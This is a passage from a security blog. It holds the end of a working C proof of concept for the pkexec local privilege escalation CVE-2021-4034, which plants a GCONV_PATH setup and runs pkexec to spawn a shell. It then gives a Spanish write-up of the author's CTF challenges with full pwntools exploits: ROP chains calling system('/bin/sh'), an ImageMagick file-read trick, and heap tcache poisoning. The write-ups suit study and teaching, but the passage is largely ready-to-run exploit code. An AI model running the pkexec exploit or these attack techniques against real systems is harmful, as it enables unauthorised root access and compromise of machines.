<span class="n">fclose</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">chmod</span><span class="p">(</span><span class="s">"./GCONV_PATH=/tmp"</span><span class="p">,</span> <span class="n">S_IRWXU</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span> <span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[!] Error changing permissions"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[*] Setup finished successfuly !</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">cleanup</span><span class="p">(){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[!] Deleting files under /tmp directory</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">unlink</span><span class="p">(</span><span class="s">"/tmp/gconv-modules"</span><span class="p">);</span>
<span class="n">unlink</span><span class="p">(</span><span class="s">"/tmp/ISO646.so"</span><span class="p">);</span>
<span class="n">unlink</span><span class="p">(</span><span class="s">"./GCONV_PATH=/tmp"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[!] Deleting directory custom </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">rmdir</span><span class="p">(</span><span class="s">"./GCONV_PATH="</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[!] Cleanup done</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="cm">/*
main+974 g_find_program_in_path@plt
*/</span>
<span class="kt">void</span> <span class="n">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[*] Starting the exploit...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">setup</span><span class="p">();</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">args</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="nb">NULL</span><span class="p">};</span>
<span class="c1">//char *envp[] = {"f","PATH=name=.", NULL};</span>
<span class="c1">//char *envp[] = {"tmp","PATH=GCONV_PATH=", "SHELL=abc", "CHARSET=ISO646-GB", NULL};</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">envp</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">"tmp"</span><span class="p">,</span><span class="s">"PATH=GCONV_PATH="</span><span class="p">,</span> <span class="s">"SHELL=notashell"</span><span class="p">,</span> <span class="s">"CHARSET=deadbeef"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Cross your fingers, spawning a shell</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">fork</span><span class="p">()){</span>
<span class="n">wait</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
<span class="n">cleanup</span><span class="p">();</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[!] Exiting !</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">execve</span><span class="p">(</span><span class="s">"/usr/bin/pkexec"</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="n">envp</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p><a href="https://github.com/jcatala/f_poc_cve-2021-4034/">This can be found on github.</a></p>
<p><img src="assets/2022_03_30_18_17_32.png" alt="" /></p>
<h1 id="conclusion">Conclusion</h1>
<p>Lesson learned:</p>
<ul>
<li>A simple <code class="highlighter-rouge">out of bound read/write</code> can be dangerous.</li>
<li>An advisory can be <code class="highlighter-rouge">not-so</code> detailed, read it til’ it make sense, things that can help to get it down:
<ul>
<li>Diffing the patched with the vulnerable <code class="highlighter-rouge">code/binary</code> .</li>
<li>Read poc’s</li>
<li>Read write-ups</li>
</ul>
</li>
<li>This vulnetability have more than <code class="highlighter-rouge">10 years</code>, if you’re interested into <code class="highlighter-rouge">code review</code>, <strong>just go (note for myself)</strong>.</li>
</ul>
<p>Any advice, correction or feedback will be appreciate <3 !</p>
<center>kjj</center>f4d3Hi everyone, long time that I’ve been off.CDM{pwn’s - web - misc writeup}2021-11-08T00:08:00-03:002021-11-08T00:08:00-03:00https://f4d3.io/cdm_writeup<p>Hola, espero que todo les vaya genial!!!</p>
<p>El fin de semana pasado, con mi equipo, nos dedicamos a <code class="highlighter-rouge">hostear</code> el <code class="highlighter-rouge">CTF</code> anual del <code class="highlighter-rouge">Campo de Marte</code>. Para este <code class="highlighter-rouge">CTF</code>, preparé los retos de <code class="highlighter-rouge">pwn</code>, 1 reto <code class="highlighter-rouge">web</code> y 1 reto <code class="highlighter-rouge">misc</code>. La dificultad de los mismos era de <code class="highlighter-rouge">ez - mid</code>, debido a que el CTF no alcanzaba a durar un día completo, aquí van las soluciones :D</p>
<h1 id="pwn">pwn</h1>
<h2 id="are-u-drunk-">are u drunk ?</h2>
<p><a href="assets/chall_areudrunk">challenge</a></p>
<p>Descripción:</p>
<div class="language-md highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Este es el mejor hardening que se me ocurre por el momento yeeeeeeeeeeeee
</code></pre></div></div>
<p>Básicamente, es un reto básico de un <code class="highlighter-rouge">buffer overflow</code>, en donde los <code class="highlighter-rouge">'A' y 'B'</code> son badchars (ewe), además, se nos regala un leak al principio con una dirección del <code class="highlighter-rouge">heap</code>.</p>
<p><img src="assets/2021_11_08_00_18_16.png" alt="" />
<img src="assets/2021_11_08_00_18_54.png" alt="" /></p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span><span class="s">'-v'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./inuse/chall_areudrunk"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">libc_name</span> <span class="o">=</span> <span class="s">"./inuse/libc.so.6"</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">p_name</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">libc_name</span><span class="p">)</span>
<span class="s">'''
libc.address
libc.symbols['printf']
'''</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''b * main
b * vuln
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="c1">#p = remote("127.0.0.1",9000)
</span> <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"119.8.154.195"</span><span class="p">,</span><span class="mi">35001</span><span class="p">)</span>
<span class="n">rdi</span> <span class="o">=</span> <span class="mh">0x0000000000400963</span> <span class="c1"># : pop rdi; ret;
</span><span class="n">rsi</span> <span class="o">=</span> <span class="mh">0x0000000000400961</span> <span class="c1"># : pop rsi; pop r15; ret;
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">'a'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">40</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s">'puts'</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s">'puts'</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'main'</span><span class="p">])</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Send or "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">leak</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x80aa0</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"puts@@libc </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"libc base </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"/bin/sh </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">b</span><span class="s">'/bin/sh</span><span class="se">\x00</span><span class="s">'</span><span class="p">))))</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">'a'</span> <span class="o">*</span> <span class="mi">40</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">b</span><span class="s">'/bin/sh</span><span class="se">\x00</span><span class="s">'</span><span class="p">)))</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rsi</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">])</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="just-fake-it">Just fake it</h2>
<p><a href="assets/chall_just_fake_it">challenge</a></p>
<p>Descripción:</p>
<div class="language-markdown highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Estoy aprendiendo a utilizar estructuras y syscall básicas, pero esta mierda sigue crasheando :(
</code></pre></div></div>
<p>Este reto se trataba de un <code class="highlighter-rouge">8 byte buffer overflow</code>, el cual podía sobreescribir el <code class="highlighter-rouge">saved ebp</code>, logrando ganar control sobre el <code class="highlighter-rouge">RIP</code> en el segundo <code class="highlighter-rouge">ret</code>, como <code class="highlighter-rouge">"gadget"</code>, dejé una <code class="highlighter-rouge">win_function()</code>, la cual llama a <code class="highlighter-rouge">execve("/bin/sh")</code>, solo para hacer más fácil el proceso :)</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="c1">#context(terminal=['tmux', 'split-window','-v'])
</span><span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./inuse/chall"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">1</span>
<span class="c1">#libc_name = ""
</span><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">p_name</span><span class="p">)</span>
<span class="c1">#libc = ELF(libc_name)
</span>
<span class="s">'''
libc.address
libc.symbols['printf']
'''</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''b * vuln
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">)</span>
<span class="c1">#p = process(p_name)
</span><span class="k">else</span><span class="p">:</span>
<span class="c1">#p = remote("127.0.0.1",9000)
</span> <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"119.8.154.195"</span><span class="p">,</span><span class="mi">35003</span><span class="p">)</span>
<span class="n">win</span> <span class="o">=</span> <span class="mh">0x400851</span>
<span class="n">rdi</span> <span class="o">=</span> <span class="mh">0x0000000000400a53</span> <span class="c1"># : pop rdi; ret;
</span><span class="n">rsi</span> <span class="o">=</span> <span class="mh">0x0000000000400a51</span>
<span class="n">win</span> <span class="o">=</span> <span class="mh">0x00400837</span>
<span class="n">rdi</span> <span class="o">=</span> <span class="mh">0x0000000000400a63</span>
<span class="n">rsi</span> <span class="o">=</span> <span class="mh">0x0000000000400a61</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"this: "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">b</span><span class="s">"?"</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">leak</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Got this leak : </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"me: "</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">win</span><span class="p">)</span> <span class="o">*</span> <span class="mi">7</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="best-meme-generator">best meme generator</h2>
<p><a href="assets/chall_meme">chall</a></p>
<p>Descripción:</p>
<div class="language-md highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
Para el concurso de memes, siéntete libre de utilizar este servicio :D
</code></pre></div></div>
<p>Considerando que en el evento había un concurso de meme, la idea era que se utilizara este servicio (mal servicio), para crear sus propios memes,
Como estaba en beta, habían solo 5 templates y a veces funcionaba mal jajj.</p>
<p>La idea de este challenge, era abusar de <code class="highlighter-rouge">imagemagick</code>, el cual se utilizaba para agregar el caption a la imagen.</p>
<p><img src="assets/2021_11_08_00_37_03.png" alt="" /></p>
<p>La función <code class="highlighter-rouge">validate()</code>, se encarga de que no exista (ojalá), command injection en la posterior llamada a <code class="highlighter-rouge">system()</code>, pero, leyendo el manual de <code class="highlighter-rouge">imagemagick</code>, podemos ver que la opción <code class="highlighter-rouge">-caption</code></p>
<p><img src="assets/2021_11_08_00_39_54.png" alt="" /></p>
<p>Con esto, podemos agregar fácilmente un <code class="highlighter-rouge">@/flag.txt</code>, para conseguir la flag, peeero, un payload normal, irá con un salto de linea que quebrará el llamado a <code class="highlighter-rouge">system()</code>, por lo que deberemos enviar <code class="highlighter-rouge">@/flag.txt\x00</code>, o en su defecto, llenar con <code class="highlighter-rouge">"/"</code>, sin que <code class="highlighter-rouge">read()</code>, lea el salto de linea :D</p>
<p><img src="assets/2021_11_08_00_43_05.png" alt="" /></p>
<p><img src="assets/2021_11_08_00_43_09.png" alt="" /></p>
<p><img src="assets/2021_11_08_00_43_44.png" alt="" /></p>
<p>:D</p>
<h1 id="the-forgotten-one">the forgotten one</h1>
<p><a href="asssets/chall_the_forgotten_one">chall</a></p>
<p>Descripción:</p>
<div class="language-markdown highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
A modo de dejar mi legado al mundo, cree un <span class="sb">`hackdiary`</span> para publicarlo luego, en <span class="gs">**C**</span> :D
</code></pre></div></div>
<p>Este era el <code class="highlighter-rouge">challenge</code> más difícil que hice, considerando el tiempo que tenía asignado el <code class="highlighter-rouge">CTF</code>.
Es un problema de heap <code class="highlighter-rouge">just another diary</code>, el cual permite generar entradas, definidas como la siguiente estructura.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">entry</span><span class="p">{</span>
<span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">72</span><span class="p">];</span>
<span class="kt">char</span> <span class="n">data</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="p">};</span>
</code></pre></div></div>
<p>El <code class="highlighter-rouge">off by one bug</code>, se encuentra en la función <code class="highlighter-rouge">add()</code>, en donde, en vez de leer a data <code class="highlighter-rouge">64</code> bytes, leemos <code class="highlighter-rouge">65</code>, lo cual nos permite modificar el <code class="highlighter-rouge">size header</code> del chunk siguiente. Además, al eliminar en <code class="highlighter-rouge">delete()</code>, no se hace <code class="highlighter-rouge">null</code> el puntero referente al <code class="highlighter-rouge">chunk</code>, por lo que el leak, será trivial si utilizamos un <code class="highlighter-rouge">chunk</code> lo suficienmente grande para que vaya al <code class="highlighter-rouge">unsorted bin</code>.</p>
<p><img src="assets/2021_11_08_00_51_13.png" alt="" /></p>
<p>Con esta información, el exploit quedó de la siguiente manera, siguiendo la siguiente lógica:</p>
<ul>
<li>Crear 3 chunks, siendo el de al medio un chunk lo suficientemente grande para que vaya al <code class="highlighter-rouge">unsorted bin</code></li>
<li>free(chunk_grande)</li>
<li>Mostrar por pantalla el contenido de las notas, y obtener el leak del <code class="highlighter-rouge">unsorted bin</code>.</li>
<li>Allocar múltiples chunks pequeños, además de uno grande</li>
<li>free(chunk pequeño)</li>
<li>Allocar nuevamente el chunk pequeño y sobreeescribir el <code class="highlighter-rouge">prev_size y size header</code> del chunk grande.</li>
<li>Con la escritura de la metadata del chunk grande, hacer que <code class="highlighter-rouge">&chunk_grande - chunk_grande.prev_size</code> sea igual al anterior chunk grande (esto hará el trigger del <code class="highlighter-rouge">backward consolidation</code>)</li>
<li>free(chunk_grande), se realizará la consolidación con el chunk anterior, quedando los <code class="highlighter-rouge">chunks</code> pequeños “perdidos” dentro de la data del chunk grande.</li>
<li>Hacer un <code class="highlighter-rouge">malloc()</code> de un chunk grande, y comenzar a sobreescribir los chunks pequeños que están “perdidos” en medio del <code class="highlighter-rouge">chunk grande</code>.</li>
<li>Realizar un <code class="highlighter-rouge">tcache poisoning</code> y sobreescribir <code class="highlighter-rouge">__free_hook</code></li>
<li>Get the flag :D</li>
</ul>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span><span class="s">'-v'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./inuse/chall"</span> <span class="c1">## change for the challenge name
</span><span class="n">libc_name</span> <span class="o">=</span> <span class="s">"./inuse/libc.so.6"</span>
<span class="c1">#libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">p_name</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">libc_name</span><span class="p">)</span>
<span class="s">'''
libc.address
libc.symbols['printf']
'''</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">,</span> <span class="n">env</span> <span class="o">=</span> <span class="p">{</span><span class="s">"LD_PRELOAD"</span><span class="p">:</span><span class="s">"./inuse/libc.so.6"</span><span class="p">})</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"119.8.154.195"</span><span class="p">,</span><span class="mi">35004</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
<span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">return</span> <span class="mi">1</span>
<span class="k">def</span> <span class="nf">delete</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">return</span> <span class="mi">1</span>
<span class="k">def</span> <span class="nf">show</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"[ 1 ]"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"BBBBCCCC"</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">leak</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="k">return</span> <span class="n">leak</span>
<span class="n">f</span><span class="p">()</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x100</span><span class="p">,</span> <span class="n">b</span><span class="s">"AAAA"</span><span class="p">,</span><span class="n">b</span><span class="s">"BBBB"</span><span class="p">)</span> <span class="c1">#0
</span><span class="n">malloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x500</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">"AAAA"</span><span class="p">,</span><span class="n">b</span><span class="s">"AAAA"</span><span class="p">)</span> <span class="c1">#1
</span><span class="n">malloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span> <span class="n">b</span><span class="s">"BBBB"</span><span class="p">,</span><span class="n">b</span><span class="s">"BBBB"</span><span class="p">)</span> <span class="c1">#2
</span><span class="n">delete</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x500</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'BBBBCCCC'</span><span class="p">,</span> <span class="n">b</span><span class="s">'A'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">show</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">leak</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
